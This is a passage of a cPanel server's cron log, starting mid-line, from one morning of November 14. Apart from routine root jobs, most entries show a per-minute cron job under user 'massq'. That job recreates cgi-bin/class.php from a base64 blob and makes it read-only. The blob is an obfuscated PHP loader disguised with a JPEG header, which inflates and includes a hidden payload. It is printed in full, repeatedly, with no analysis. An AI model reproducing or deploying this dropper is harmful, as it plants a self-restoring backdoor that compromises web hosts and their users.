&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:25:01 server CROND[2648]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 07:25:01 server CROND[2650]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:25:01 server CROND[2651]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 07:26:01 server CROND[3509]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:27:01 server CROND[4008]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 07:27:01 server CROND[4009]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:28:01 server CROND[4649]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:29:01 server CROND[5584]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:30:01 server CROND[6493]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 07:30:01 server CROND[6494]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 07:30:01 server CROND[6495]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 07:30:01 server CROND[6496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:31:01 server CROND[7433]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:32:01 server CROND[8336]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:33:01 server CROND[9371]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:34:01 server CROND[10260]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:35:01 server CROND[10927]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 07:35:01 server CROND[10932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:35:01 server CROND[10931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 07:35:01 server CROND[10933]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 07:35:01 server CROND[10930]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 07:36:01 server CROND[11398]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
